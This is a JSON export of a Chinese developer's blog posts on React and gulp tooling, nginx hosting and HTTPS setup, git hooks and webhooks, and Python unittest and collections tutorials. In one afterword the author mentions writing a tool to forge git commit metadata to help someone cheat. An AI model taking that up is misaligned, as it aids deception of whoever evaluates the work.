组件的生命周期:看官方文档,render函数中不要改变组件的state,若组件的props改变而需要相应更改state, 则要在componentWillReceiveProps函数中完成state更改。函数执行完后,render函数会被执行,组件重新渲染。 5. gulp 5.1 简介 流式自动化构建工具,用于各类文件的转换(如jsx→js→min.js),监控文件变化,搭建静态文件服务器等,可以类比为makefile, 拥有种类繁多的插件。 gulp官网,中文网,包含中文文档。 5.2 操作 gulp.task(name[, deps], fn), 注册一个任务 name: 任务名称 deps: 依赖的前置任务,string[] fn: 任务函数,在里面写该任务需要完成的具体事项 gulp.src(globs[, options]), 输出一个满足匹配模式的stream, stream可以用pipe连接起来,类比shell的管道|. gulp.dest(path[, options]), 将stream写到某个path当中。 gulp.watch(glob [, opts], tasks) 或 gulp.watch(glob [, opts, cb]), 监控满足匹配模式的文件,若文件变化,则执行某些任务。 直接看一个例子: 1234567891011121314gulp.task('render', ['array', 'of', 'task', 'names'], function () { gulp.src('./client/templates/*.jade') // 找到原路径所有的jade文件 .pipe(jade()) // 渲染模板 .pipe(gulp.dest('./build/templates')) // 输出到某目录 .pipe(minify()) // minify .pipe(gulp.dest('./build/minified_templates')); // 输出到另一目录}); gulp.task('watch', ["compress"], function () { var watcher = gulp.watch('./public/src/*.jsx', ['compress']); // 监控文件,若文件变化则执行compress任务 watcher.on('change', function (event) { // 监听change事件 console.log('File ' + event.path + ' was ' + event.type + ', running tasks...'); });}); 6. React工具集成: React+Babel+gulp 用gulp执行任务,用babel转换JSX. 6.1 gulp 所需插件: gulp gulp-babel gulp-uglify (压缩js文件用,可选) gulpfile: 12345678910111213141516var gulp = require('gulp');var babel = require('gulp-babel');var uglify = require('gulp-uglify');gulp.task('transform', function () { return gulp.src('./public/src/*.jsx') .pipe(babel()) .pipe(gulp.dest('./public/build'));});gulp.task("compress", ["transform"], function () { return gulp.src('./public/build/!(*.min).js') .pipe(uglify()) .pipe(rename({ suffix: ".min" })) .pipe(gulp.dest('./public/build'))}); 6.2 Babel 所需插件: babel-preset-es2015 babel-preset-react .babelrc文件: 1234567{ "presets": [ "es2015", "react" ], "plugins": []} 若在全局安装了babel-cli,则可以用babel命令转换文件: 若当前目录存在上述babelrc文件: 执行babel public\\src --out-dir public\\build 若当前目录不存在bebelrc文件: 执行babel --presets react public\\src --out-dir public\\build 7. Semantic UI 超级棒的一个前端组件库,去看文档吧。 8. 后记 终于写完了。 又一个月没有写东西了,代码写了不少,所学到的知识却没有及时整理下来。真是太懒,懒得整理知识。到现在还欠着一篇Django的生产环境配置的文章没写(其实就是一条命令+nginx配置而已),改天补上。 寒假算是荒废过去了,本来能够写更多东西的,却被一些事情打乱了计划。 以前觉得javascript是一门很糟糕的语言,代码写起来很乱,四五层回调看起来头都大了,但真正写了一个月以后感觉舒服了很多,很多代码写起来得心应手。JS的生态也让我很喜欢,各种工具组件层出不穷,使用起来也及其方便。 这一个月所写的js项目: carrez 前后端都有,后端Express, 解析html, 前端使用ajax和后端进行信息交互 starwars 纯前端项目,使用React, 用了很久的browser.js, 本地工具集成鼓捣了很久才鼓捣明白 git_modifier 算是半个JS项目(Github告诉我我这是个JS项目,因为JS代码占比最大),后端Flask, 前端React, 说是Web App其实是个本地项目,用来读取及修改本地git repo的commit信息用的,奇怪的需求,写来自己用,方便伪造commit信息,帮某人作弊😂😂😂。 后面看看要不要写Mocha吧。 最后,郑重感谢phoenixe同学给了我一个比较系统地学习和使用javascript的机会。谢谢你。 以上。","categories":[{"name":"Javascript","slug":"Javascript","permalink":"https://blog.stdioa.com/categories/Javascript/"}],"tags":[{"name":"前端开发","slug":"前端开发","permalink":"https://blog.stdioa.com/tags/%E5%89%8D%E7%AB%AF%E5%BC%80%E5%8F%91/"},{"name":"Javascript","slug":"Javascript","permalink":"https://blog.stdioa.com/tags/Javascript/"},{"name":"node.js","slug":"node-js","permalink":"https://blog.stdioa.com/tags/node-js/"}]},{"title":"博客迁移记(三)","slug":"blog-migration-iii","date":"2016-01-20T03:40:00.000Z","updated":"2022-09-10T01:41:19.790Z","comments":true,"path":"2016/01/blog-migration-iii/","link":"","permalink":"https://blog.stdioa.com/2016/01/blog-migration-iii/","excerpt":"一个月没更新,期末复习的时候光鼓捣网站却懒得写东西,期末考完了,把这一个月鼓捣的东西记录一下,比如利用七牛进行静态文件托管。","text":"一个月没更新,期末复习的时候光鼓捣网站却懒得写东西,期末考完了,把这一个月鼓捣的东西记录一下,比如利用七牛进行静态文件托管。 1. 使用七牛托管静态文件 1.1 背景 博客的事情处理完成后,我又做了一个网站主页,其中包括一个100KB+的背景图片。不过因为我的VPS出站带宽只有1Mb/s, 所以背景图片加载时间过长,导致网站访问速度较慢。所以我将绝大部分的资源全部挂到了七牛上,在服务器端对静态资源请求进行302跳转,将流量转移到七牛的节点,提高访问速度。 1.2 操作 1.2.1 同步文件 我需要托管的文件包括博客和个人主页的所有图片文件。首先,我在七牛上建立了空间cdn-stdioa并绑定了个人域名、申请了HTTPS域名。为方便将本地文件与七牛空间同步,七牛提供了命令行同步工具qrsync. 查看文档后,我新建并修改了配置文件sync_conf.json,内容如下: 12345{ "src": "blog/source/pics", "dest": "qiniu:access_key=<your_access_key>&secret_key=<your_secret>key>&bucket=cdn-stdioa&key_prefix=blog/pics/", "debug_level": 1} 若添加资源,则执行qrsync sync_conf.json, 即可完成静态资源与七牛空间的自动同步。 1.2.2 在服务器端设置跳转 为了提高访问速度,需要在nginx端将所有指向图片的请求全部跳转到七牛的链接上。学习了一下location重定向规则,直接上配置文件吧。 123location ^~ /pics { return https://xxx.qnssl.com/blog$request_uri;} 这样,就可以将所有指向/pics的请求全部重定向到七牛的链接。顺便,在七牛设置了一下防盗链。 1.3 效率提升——Git hook 因为我的博客和个人主页都是使用Coding+webhook部署的,所以每次更改页面后要推代码,还要同步静态资源。有没有方法可以把这两条操作简化一下呢?一开始写了个批处理脚本,后来觉得一定有更好的办法,于是翻了翻,遇到了Git hook这种神器。 Git hook跟webhook类似,都是在某个操作上挂一个“钩子”,使得在进行某操作发生时自动触发自定义脚本来达到某些目的,实现快捷操作。所有的钩子均在.git/hooks目录下,在该目录下设置特殊文件名的脚本文件来设置钩子。因为我需要在推送代码之前进行资源同步,所以我需要设置pre-push脚本。脚本内容如下: 123456#!/bin/shecho -e "Sync up the static resources with Qiniu..."cd /f/websites/blog/qrsync sync_conf.json 2>>sync.logecho -e "Done!" 这样,我就可以在每次执行git push之前自动同步静态资源,少敲一条命令,提升工作效率→_→ 2. 谱站搭建 内容不是太多,就写在这里啦。 我有一个乐谱分享站,里面存放一些自己收集的钢琴谱。一年以前写了一个程序,用来为每个文件夹生成index页面。前几天翻开那个程序,一下子被自己写的连环replace吓到了(那个时候连正则还都不会,不过转念一想要是会了正则,写出来的东西会多可怕😂),于是怒用Jinja模板渲染引擎重写了一个,把原来最核心部分的十几行代码变为了一行渲染语句,代码看起来清爽多了。 嗯,具体链接可以在左侧或顶栏的“友情链接”中找。 3. 后记 历经一个月,博客的迁移工作基本完成(刚刚写博客的工夫还给它添加了twemoji支持😶),以后还要做个人页面,不过可能不会有太多可写的地方了。就酱,后面看一阵子go以后可以来写写golang的东西。 4. 参考资料 Nginx重定向规则详细介绍 自定义 Git - Git 钩子","categories":[{"name":"乱七八糟","slug":"乱七八糟","permalink":"https://blog.stdioa.com/categories/%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F/"}],"tags":[{"name":"nginx","slug":"nginx","permalink":"https://blog.stdioa.com/tags/nginx/"},{"name":"七牛","slug":"七牛","permalink":"https://blog.stdioa.com/tags/%E4%B8%83%E7%89%9B/"},{"name":"git","slug":"git","permalink":"https://blog.stdioa.com/tags/git/"}]},{"title":"博客迁移记(二)","slug":"blog-migration-ii","date":"2015-12-18T07:55:37.000Z","updated":"2022-09-10T01:41:19.790Z","comments":true,"path":"2015/12/blog-migration-ii/","link":"","permalink":"https://blog.stdioa.com/2015/12/blog-migration-ii/","excerpt":"域名依然在备案中,依然想将博客部署到新买的VPS的我和腾讯斗智斗勇(雾),为博客添加了HTTPS>_< 同时,把自己的密码学课设也转移到VPS上来了。","text":"域名依然在备案中,依然想将博客部署到新买的VPS的我和腾讯斗智斗勇(雾),为博客添加了HTTPS>_< 同时,把自己的密码学课设也转移到VPS上来了。 1. 使用Nginx针对多个host部署服务器 1.1 概述 如果一个VPS只能搭一个网站,那未免太浪费了,所以我们可以通过配置Nginx的方式来将针对多个域名的访问请求分开,从而进行不同的处理。例如,我在DNS配置时将blog.stdioa.com与crypt.stdioa.com同时指向到我的腾讯云的IP地址,用户访问这两个域名时,都会向我的VPS发送请求,我要做的是将这两种针对不同域名的访问请求分开。而这两种请求的区别在HTTP请求头的Host字段,所以我只需要针对不同的Host使用不同的处理方式即可。 1.2 操作 我的VPS上撘有两个网站,其中blog.stdioa.com域名指向的是我的博客——一个静态服务器,而crypt域名指向的是一个使用flask搭建的网站,所以要在Nginx端进行反向代理,将请求转发到本地的5000端口。 具体配置文件如下: 12345678910111213141516171819202122232425262728server { listen 80; server_name stdioa.com blog.stdioa.com; # 通往博客的请求直接通过文件服务器返回 access_log /var/log/nginx/access_blog.log; error_log /var/log/nginx/error_blog.log; root /home/stdio/blog; index index index.html; location / { } location ^~ /.git { # 禁止访问.git文件夹 deny all; } error_page 404 /404.html;}server { listen 80; server_name crypt.stdioa.com; # host为crypt的请求转发本地端口 access_log /var/log/nginx/access_crypt.log; error_log /var/log/nginx/error_crypt.log; location / { proxy_pass http://127.0.0.1:5000/; }} 配置完成后,重启Nginx, 可以看到访问不同域名时,请求会交给不同的程序处理。 2. 屏蔽来自特定域名的请求 2.1 背景 网站部署好后,又发现了一个来自奇怪域名的请求;更坑爹的是,这个域名指向自己的VPS;更更坑爹的是,来自这个域名的请求有好多,直接把我的日志刷爆了…所以我需要将来自这个域名的所有请求拒绝掉。 2.2 操作 新建一个Server就好啦。具体配置文件如下: 1234567server { listen 80; server_name bailigo.com *.bailigo.com; location / { return 410; # 410 Gone, 使用了这个状态码,不知道能不能不再让爬虫爬这个网页 }} 配置完成,重新载入配置文件,成功。 本来想用418, 但是Nginx没有418的返回页面,想了想还是算了吧 3. 为博客部署HTTPS服务器 3.1 背景 blog.stdioa.com博客上午还可以访问,中午吃顿饭就发现访问被截断了,原因与以前一样——域名未完成备案。经查看,腾讯对访问博客的请求进行了301跳转,于是想了想,给博客配置了HTTPS, 让你们再阻断→_→(好吧再阻断的话我真的不知道该怎么弄了 3.2 使用Let’s Encrypt生成网站证书 之前就看中了Let’s Encrypt,它提供主流浏览器认证的免费证书,只可惜当时没有域名无法体验。现在有了域名,加上腾讯对未备案的域名查的很紧,所有未备案域名下的网站搭起来半天就被封掉,想了想,还是生成一个证书,配个HTTPS撑一阵子吧╮(╯_╰)╭ 按照官方的指南以及此指南在将Let’s Encrypt的Repo clone到本地之后,输入./letsencrypt-auto certonly --email 邮箱 -d 域名 --agree-tos来生成证书。由于腾讯云到Let’s Encrypt的服务器的链接极其不稳定,通常需要重试很多次才能正常跟Let’s Encrypt的服务器通信。成功后会显示: IMPORTANT NOTES: - Congratulations! Your certificate and chain have been saved at /etc/letsencrypt/live/blog.stdioa.com/fullchain.pem. Your cert will expire on 2016-03-17. To obtain a new version of the certificate in the future, simply run Let’s Encrypt again. - If you like Let’s Encrypt, please consider supporting our work by: Donating to ISRG / Let’s Encrypt: https://letsencrypt.org/donate Donating to EFF: https://eff.org/donate-le 证书已存储在上面信息指示的目录。 3.3 配置Nginx, 搭建HTTPS服务器 证书已生成,下面该配置Nginx了,添加下列配置: 123456789101112131415161718192021222324server { listen 443 ssl; server_name blog.stdioa.com; ssl_certificate /etc/letsencrypt/live/blog.stdioa.com/fullchain.pem; # 添加证书 ssl_certificate_key /etc/letsencrypt/live/blog.stdioa.com/privkey.pem; # 添加密钥 ssl_ciphers "EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH"; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; # 后面和普通服务器一样 access_log /var/log/nginx/access_blog.log; error_log /var/log/nginx/error_blog.log; root /home/stdio/blog; index index index.html; location ^~ /.git { deny all; } error_page 404 /404.html;} 重新加载配置,访问https://blog.stdioa.com , 成功~ 小插曲: 昨天晚上熄灯之前发现Ubuntu上使用apt-get安装的Nginx版本太老了,于是在VPS上重新编译升级了Nginx,结果配置好HTTPS以后重启Nginx时发现启动失败,原因为缺少ngx组件。经Google后发现没有编译该组件,所以重新编译安装Nginx, 在配置时加入--with-http_ssl_module选项。 小插曲2: HTTPS配置好后访问博客,Chrome提示“存在不安全的内容”,选择加载后,地址栏左边的HTTPS会变成红色,极其不好看(雾),于是看了博客的模板,发现有两个js在加载时选择使用HTTP方式加载,于是将http://.../*.js改为//.../*.js, 使浏览器可以根据当前协议自动选择JS文件的加载协议。更新博客模板,重新访问,所有js均使用HTTPS方式加载,问题解决。附图:  小插曲3: 上面那张图片的链接之前来自七牛,采用HTTP协议而不是HTTPS加载。发布这篇博文后,我发现该文章页面中地址栏左侧的HTTPS标志变为了白色…还是不好看!打开Chrome的控制台,在控制台中看到,如果图片链接协议为HTTPS,则Chrome依然会提示“不安全”,但是个人感觉这只是一张图片而已啊,又不是JS_(:зゝ∠)_ 解决方案:将图片链接改回本地,待域名备案后再想办法在七牛那边解决域名绑定及HTTPS的问题。 4. 参考资料 免费SSL安全证书Let’s Encrypt安装使用教程(附Nginx/Apache配置) http://blog.csdn.net/donghustone/article/details/25797727 nginx SSL error - Server Fault 网站存在不安全因素的解决办法 5. 后记 快递已发出,相片已审核成功,腾讯收到资料之后会尽快报管局审理…希望2016年之前能够备案成功QvQ 嗯,Google真好用 说好的准备考试呢! Update @ 16:38 上午才把资料用快递发走,下午腾讯云就说我的纸质资料已收到…打电话问了一下,客服说腾讯为了加快审核速度,帮我准备了一份材料上交管局,估计他们是用我的扫描件打印了一份交上去了吧,也是不错2333 最后希望通信交通管理局快一点_(:зゝ∠)_ Update @ 19:59, Dec. 24th, 2015 腾讯云访问Github的速度太慢了,于是将博客的Repo迁移到了Coding上。 建立私有项目 设置部署公钥 因为是私有项目所以无法通过一个__不含用户名密码__的链接访问Repo来进行Pull,所以还是通过SSH访问比较舒服一些。 改掉VPS上的origin链接,完成 曾经听到过一种说法:用HTTPS访问Git Repo要比SSH更好,然而一直不知道好在哪…记得用HTTPS访问Repo的时候账户的用户名和密码是要附在链接里面的,感觉好不安全 域名备案看来真的要奔着20天的样子去了… Update @ 11:07, Jan. 5th, 2015 域名备案在2016年的第一个工作日通过啦!庆祝一下,期末之后开始准备制作个人网站~","categories":[{"name":"乱七八糟","slug":"乱七八糟","permalink":"https://blog.stdioa.com/categories/%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F/"}],"tags":[{"name":"nginx","slug":"nginx","permalink":"https://blog.stdioa.com/tags/nginx/"},{"name":"Github","slug":"Github","permalink":"https://blog.stdioa.com/tags/Github/"},{"name":"Let's Encrypt","slug":"Let-s-Encrypt","permalink":"https://blog.stdioa.com/tags/Let-s-Encrypt/"}]},{"title":"博客迁移记(一)","slug":"blog-migration","date":"2015-12-17T11:55:37.000Z","updated":"2022-09-10T01:41:19.790Z","comments":true,"path":"2015/12/blog-migration/","link":"","permalink":"https://blog.stdioa.com/2015/12/blog-migration/","excerpt":"昨天买了一个VPS、一个域名,决定把博客迁移到VPS上。","text":"昨天买了一个VPS、一个域名,决定把博客迁移到VPS上。 1. 背景介绍 首先打个广告:借助“腾讯云+校园”计划,我成功地用上了1元/月的服务器和11元/月的.com域名。 有了国内访问速度极快的VPS,有了域名,就想自己鼓捣鼓捣,把自己的博客和其他站点托管到VPS上。 2. 博客托管 2.1 搭建静态文件服务器 因为自己的博客是静态博客,之前托管在Github上,依靠Github Pages实现部署,所以我先将文件clone了下来,存放在~/blog目录中。 下面要做的,是搭建一个静态服务器。 2.1.1 使用Python的SimpleHTTPServer Python的SimpleHTTPServer是一个非常实用、方便的库,可以使用简单一条命令在当前目录创建一个HTTP文件服务器。所以输入sudo python -m SimpleHTTPServer 80命令,即可搭建一个静态文件服务器,实现从外网对静态博客的直接访问。 然而搭建好后,我发现了一个问题:因为我的blog文件夹本身是一个Git Repo, 所以我可以直接从外网访问.git文件夹,虽然我的.git目录没有保存任何设置及账户等,但这样会带来一定的安全隐患,所以要想办法禁止外部用户对.git文件夹的访问。 2.1.2 使用Nginx托管文件服务器 关于Nginx的介绍,请自行访问官网与维基百科。 之前用过Apache, 但是在接触Nginx后,我认为我对Nginx更有好感,所以采用了Nginx做为文件托管服务器。 首先安装Nginx,删掉/etc/nginx/sites-enabled目录(我的系统是Ubuntu Server 14.04 LTS),在conf.d目录中设置配置文件: 12345678910111213server { listen 80; # 监听端口 server_name server; root /home/ubuntu/blog; # 托管目录 index index.html; access_log /var/log/nginx/access_blog.log error_log /var/log/nginx/error_blog.log # 禁止对.git目录的访问 location ^~ /.git { deny all; }} 配置完成后,重启Nginx, 所有服务正常运行,访问.git目录时会返回403. SimpleHTTPServer在建立服务器的时候只能监听0.0.0.0而不能只监听127.0.0.1, 之前搭建服务器的时候用的SimpleHTTPServer+Nginx反向代理,现在看起来感觉我就是个傻逼… 2.2 借助Webhook实现博客的自动部署 因为之前静态博客托管在Github Pages上,所以向Github Repo上面进行push操作之后会动态更新页面。但是如果将静态博客托管在VPS上,则需要每次执行git pull才能够将内容更新。所以我在VPS上写了一个脚本,能够在Push之后自动进行git pull来更新内容。 在Github上的repo设置Webhook 在repo的设置页面可以设置Webhook, 可在该repo收到push之后,Github可以向一个特定的URL发送一个POST请求。所以我设置了一个Webhook, 在push之后可以向我的VPS的特定端口发送POST请求。 设置服务器接收Webhook 在VPS中配置一个服务器,开放VPS的一个端口来接收来自Github的Webhook,这里使用bottle来搭建服务器框架。服务器代码: 12345678910111213#!/usr/bin/env python# coding: utf-8import osfrom bottle import *@route("/push", method=["POST"]) # 监听Webhookdef pull(): os.system("./auto_pull.sh") # 执行git pull脚本 return "OK"run(host="0.0.0.0", port=23333) 编写自动pull脚本 编写自动pull脚本auto_pull.sh: 1234#!/usr/bin/env shcd ~/bloggit pull 运行服务器,则可监听23333端口的POST请求,然后自动执行git pull更新博客内容。 3. 后记 至此,博客部分成功迁移到VPS. 为什么要说“部分”?因为我的域名在做备案啊QvQ备案好麻烦还要打印材料还要跑到市中心去照相还要发快递到北京QvQ都做好还得等待管局审核QvQ 吐槽时间结束。后面等域名备案好以后可能会鼓捣一阵子Nginx,为服务器启用HTTPS等… 唉,还是先去复习吧_(:зゝ∠)_ _在写博文时,去编译升级了一下Nginx, 鼓捣配置文件又弄了半天_╮(╯_╰)╭","categories":[{"name":"乱七八糟","slug":"乱七八糟","permalink":"https://blog.stdioa.com/categories/%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F/"}],"tags":[{"name":"nginx","slug":"nginx","permalink":"https://blog.stdioa.com/tags/nginx/"},{"name":"Github","slug":"Github","permalink":"https://blog.stdioa.com/tags/Github/"},{"name":"python","slug":"python","permalink":"https://blog.stdioa.com/tags/python/"}]},{"title":"随手记 - 解决InsecurePlatformWarning","slug":"essay-solve-InsecurePlatformWarning","date":"2015-12-07T15:01:00.000Z","updated":"2022-09-10T01:41:19.792Z","comments":true,"path":"2015/12/essay-solve-InsecurePlatformWarning/","link":"","permalink":"https://blog.stdioa.com/2015/12/essay-solve-InsecurePlatformWarning/","excerpt":"第三次在VPS上面解决使用requests报InsecurePlatformWarning警告的问题。之前每次都要查资料折腾好久,这次决定把它记下来。","text":"第三次在VPS上面解决使用requests报InsecurePlatformWarning警告的问题。之前每次都要查资料折腾好久,这次决定把它记下来。 1. 干货 Debian类系统 sudo apt-get install python-dev libssl-dev sudo pip install -U requests[security] Redhat类系统 sudo yum install python-devel openssl-devel sudo pip install -U requests[security] 2. 需求 自己的VPS系统有点老(Ubuntu 14.04 LTS), 所以python版本也比较落后(Python 2.7.3), 今天改代码需要用到requests新版本中提供的功能,但是requests升级后发送HTTPS请求时会报出InsecurePlatformWarning, 这是一个由openssl漏洞(Heartbleed)造成的警告,所以需要升级pyopenssl等模块。 3. 升级过程 pypi提供了一个升级包,叫做requests[security], 用pip进行升级即可。输入sudo pip install requests[security]命令后,pip报错,才发现不能本地编译python包,遂安装python-dev. 然后再次安装时发现缺少openssl/aes.h头文件,又去安装openssl的开发包libssl-dev, 再次安装,安装成功。 4. 参考资料 [原]pip安装模块警告InsecurePlatformWarning zsh - no matches found: requests[security]","categories":[{"name":"随手记","slug":"随手记","permalink":"https://blog.stdioa.com/categories/%E9%9A%8F%E6%89%8B%E8%AE%B0/"}],"tags":[{"name":"python","slug":"python","permalink":"https://blog.stdioa.com/tags/python/"},{"name":"openssl","slug":"openssl","permalink":"https://blog.stdioa.com/tags/openssl/"},{"name":"requests","slug":"requests","permalink":"https://blog.stdioa.com/tags/requests/"}]},{"title":"Python学习之unittest","slug":"learning-python-unittest","date":"2015-11-12T10:53:02.000Z","updated":"2022-09-10T01:41:19.795Z","comments":true,"path":"2015/11/learning-python-unittest/","link":"","permalink":"https://blog.stdioa.com/2015/11/learning-python-unittest/","excerpt":"单元测试,工程开发中重要的一环。","text":"单元测试,工程开发中重要的一环。 1. 简介 单元测试是用来对一个模块、一个函数或者一个类来进行正确性检验的测试工作。 2. 使用unittest进行测试 unittest是Python自带的单元测试模块,通过编写测试类,在测试类中编写测试函数的方式进行测试。 不知道该测试什么,就对python的list对象测试一下好了。 2.1 编写测试文件 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566# coding: utf-8import unittest # 使用unittest模块class TestStringMethods(unittest.TestCase): # 测试类需继承自unittest.TestCase def setUp(self): # 在函数里进行测试之前需要进行的一些准备工作,setUp在每次测试之前都会运行一次 self.d = [] def test_empty(self): """\\ Empty testcase """ self.assertEqual([], []) # 若a和b相等则通过 self.assertNotEqual([1], []) # 若不相等则通过 def test_bool(self): """\\ Bool transform testcase """ self.assertTrue([1]) # 若内部的表达式或对象为真则通过 self.assertFalse([]) # 为假则通过 self.assertTrue(bool([1])) self.assertFalse(bool([])) def test_append(self): """\\ Append testcase """ list_ = [] list_.append(1) self.assertEqual(list_, [1]) self.assertNotEqual(list_, []) list_.append(2) self.assertIn(1, list_) # 若a in b则通过 self.assertNotIn(3, list_) # 若a not in b则通过 self.assertTrue(list_[0] == 1) self.assertEqual(list_[1], 2) def test_instance(self): list_ = [] self.assertIsInstance(list_, list) # 若isinstance(a, b)为真则通过 self.assertNotIsInstance(list_, str) # 若isinstance(a, b)为假则通过 def test_index(self): """\\ Index testcase """ list_ = [] with self.assertRaises(IndexError): # 检测是否有异常抛出,有指定异常抛出则通过 a = list_[0] list_ = [1, 2, 3] self.assertEqual(list_[1], 2) self.assertEqual(list_[-2], 2) with self.assertRaises(IndexError): a = list_[4] def tearDown(self): # 在测试之后需要进行的一些处理事项,tearDown在每次测试之后都会运行一次 del self.dif __name__ == '__main__': __import__("sys").argv.append("-v") # 采用verbose方式,输出测试信息 unittest.main() 2.2 运行测试 直接运行测试程序,输出: 1234567891011121314test_append (__main__.TestStringMethods)Append testcase ... oktest_bool (__main__.TestStringMethods)Bool transform testcase ... oktest_empty (__main__.TestStringMethods)Empty testcase ... oktest_index (__main__.TestStringMethods)Index testcase ... oktest_instance (__main__.TestStringMethods) ... ok----------------------------------------------------------------------Ran 5 tests in 0.001sOK 运行python -m unittest test.py也可以进行测试; 运行python -m unittest, unittest会在当前文件夹中寻找测试类进行测试(真智能); 若有测试未通过,unittest会在测试时报告FAIL, 并在测试结束后将所有未通过测试的项目列出。 3. 使用Nose进行单元测试 Nose是一个对unittest的扩展测试框架,能自动发现并运行测试。使用Nose,可以将单元测试代码的编写变得更简单,不用再构造测试类,只需要在以test开头的文件中建立以test开头的函数即可。 3.1 编写测试文件 123456789101112131415# coding: utf-8import nosedef test_nose_installed_successfully(): import nose # 运行测试代码 assert True # assert True表示测试成功def test_obviously_failed(): assert False # assert False表示测试失败,测试时会报"FAIL"def test_returns_an_exception(): raise ValueError # 若抛出除AssertionError的异常,测试时会报"ERROR"nose.main() 3.2 运行测试文件 nose自带可执行文件,所以只需要输入nosetests [测试文件名]即可,若测试文件名为空,则nosetest会在当前文件夹寻找所有测试。以下命令格式均可接受: 1234nosetests test.modulenosetests another.test:TestCase.test_methodnosetests a.test:TestCasenosetests /path/to/test/file.py:test_function 运行nosetests test_with_nose -v ,输出: 1234567891011121314151617181920212223242526272829$ nosetests test_with_nose -vtest_with_nose.test_nose_installed_successfully ... oktest_with_nose.test_obviously_failed ... FAILtest_with_nose.test_returns_an_exception ... ERROR======================================================================ERROR: test_with_nose.test_returns_an_exception----------------------------------------------------------------------Traceback (most recent call last): File "c:\\python35\\lib\\site-packages\\nose\\case.py", line 198, in runTest self.test(*self.arg) File "C:\\Users\\Stdio\\Desktop\\temp\\utest\\test_with_nose.py", line 13, in test_returns_an_exception raise ValueErrorValueError======================================================================FAIL: test_with_nose.test_obviously_failed----------------------------------------------------------------------Traceback (most recent call last): File "c:\\python35\\lib\\site-packages\\nose\\case.py", line 198, in runTest self.test(*self.arg) File "C:\\Users\\Stdio\\Desktop\\temp\\utest\\test_with_nose.py", line 10, in test_obviously_failed assert FalseAssertionError----------------------------------------------------------------------Ran 3 tests in 0.003sFAILED (errors=1, failures=1) 4. 参考文档 unitest - Python Doc 单元测试 - 廖雪峰的python教程 Nose documentation Python的学习(十八)---- 单元测试工具nose 5. 后记 拖了一个月,这个坑再不填日子没法过了(╯‵□′)╯︵┻━┻ 到现在没给自己的代码写过测试,也是醉… 一直想转Py3一直没转,昨天改了环境变量,强迫自己用一阵子,多去看看Py3的特性,有时间整理一下。 Git的坑还没填完不过自己的Pro Git看的差不多了,貌似也满足自己的需求了,准备弃坑。 下一篇有可能是SQLAlchemy, MongoDB, Flask…哎,随它去吧。","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/categories/Python/"}],"tags":[{"name":"python","slug":"python","permalink":"https://blog.stdioa.com/tags/python/"},{"name":"unittest","slug":"unittest","permalink":"https://blog.stdioa.com/tags/unittest/"}]},{"title":"Python学习之collections","slug":"learning-python-collections","date":"2015-10-29T12:55:00.000Z","updated":"2022-09-10T01:41:19.795Z","comments":true,"path":"2015/10/learning-python-collections/","link":"","permalink":"https://blog.stdioa.com/2015/10/learning-python-collections/","excerpt":"collection是Python内建的一个实用工具包,提供一些使用的容器,用于对传统容器类型进行功能提升。","text":"collection是Python内建的一个实用工具包,提供一些使用的容器,用于对传统容器类型进行功能提升。 1. 简介 上面就是简介,不会扯了,贴两个链接好了。 Collections - 廖雪峰的Python教程 Collections - High-performance container datatypes - Python Doc 2. namedtuple 2.1 功能简介 namedtuple为一个函数,用于产生一个tuple类的子类。由该类实例化后的对象可以像tuple一样pack/unpack,也可以通过预先定义好的成员名称访问对象内部的数据。例: 123456789101112131415161718>>> from collections import namedtuple>>> Point = namedtuple("Point", ['x', 'y'])>>> Point # namedtuple函数返回一个类<class '__main__.Point'>>>> Point.__base__<type 'tuple'>>>> Point(x=1, y=2)Point(x=1, y=2)>>> Point(1,2) # 两种定义方式均可,但是要注意的是,Point的参数长度是不可变的Point(x=1, y=2)>>> p = Point(1, 2)>>> p.x1>>> x, y = p # 可以像tuple一样进行unpack>>> x1>>> Point._make((1,2)) # pack的方式和tuple不同Point(x=1, y=2) 2.2 成员函数 somenamedtuple._make(iterable), 将一个可迭代对象(list, tuple等)转化为一个namedtuple对象。 123>>> t = [11, 22]>>> Point._make(t)Point(x=11, y=22) somenamedtuple._asdict(), 将对象转化一个为键值和数据对应的OrderedDict. 12>>> p._asdict()OrderedDict([('x', 11), ('y', 22)]) somenamedtuple._replace(kwargs), 返回一个新对象,该对象中的值按照_replace函数中的参数所改变。 123>>> p = Point(x=11, y=22)>>> p._replace(x=33)Point(x=33, y=22) somenamedtuple._fields, 返回一个所有键值构成的dict. 1234567>>> p._fields # 查看键值名字('x', 'y')>>> Color = namedtuple('Color', 'red green blue')>>> Pixel = namedtuple('Pixel', Point._fields + Color._fields) # 将Color和Point“合并”>>> Pixel(11, 22, 128, 255, 0)Pixel(x=11, y=22, red=128, green=255, blue=0) 2.3 应用场景 列举一个应用场景:在进行sql查询时,cur.fetchone()会返回一个tuple而不是dict,我们可以定义一个namedtuple, 然后将sql的查询数据转为namedtuple类,然后通过成员函数访问。举个栗子(私货): 1234567891011121314Account = namedtuple("Account", ["username", "password"]) # 定义Account类...cur = self.db.cursor()cur.execute("SELECT username, password FROM account\\ WHERE valid=1\\ ORDER BY RANDOM()\\ LIMIT 1")account= Account._make(cur.fetchone()) # 将数据tuple转为Account对象self.postdata["username"] = account.username # 直接访问成员数据self.postdata["password"] = account.password...# self.login(username, password)self.login(account) # 可以将account整体作为参数,使程序看起来更简洁... 3. deque - 双端队列 3.1 介绍 deque为Double-Ended Queue的简写,用于提供一个可以快速进行两端的插入或删除操作的队列,同时可以像list一样通过下标访问数据。由于list是储存在线性空间的,其插入/删除数据的时间复杂度为O(n),所以当list比较长的时候,在其头部插入/删除数据的操作需要耗费大量时间。所以如果需要对list对象进行大量头和尾的插入删除操作时,使用deque会使程序的运行效率更高(当然,使用Queue模块的Queue和LifoQueue也是不错的选择)。需要注意的是,deque对象不支持在中间位置的插入操作。 deque对象也被包含在Queue模块中。 3.2 成员函数 append(x), appendleft(x), 在deque的尾/头插入对象x, 与list类似; extend(iterable), extendleft(iterable), 与list的extend类似; pop(x), popleft(x), 与list的pop类似; clear(), 清空deque的所有元素; count(x), 统计deque中x元素的个数; remove(x), 删除deque中的x元素,若x元素不存在,则触发ValueError; reverse(), 将deque反转,返回None, 与list的reverse类似; rotate(i), 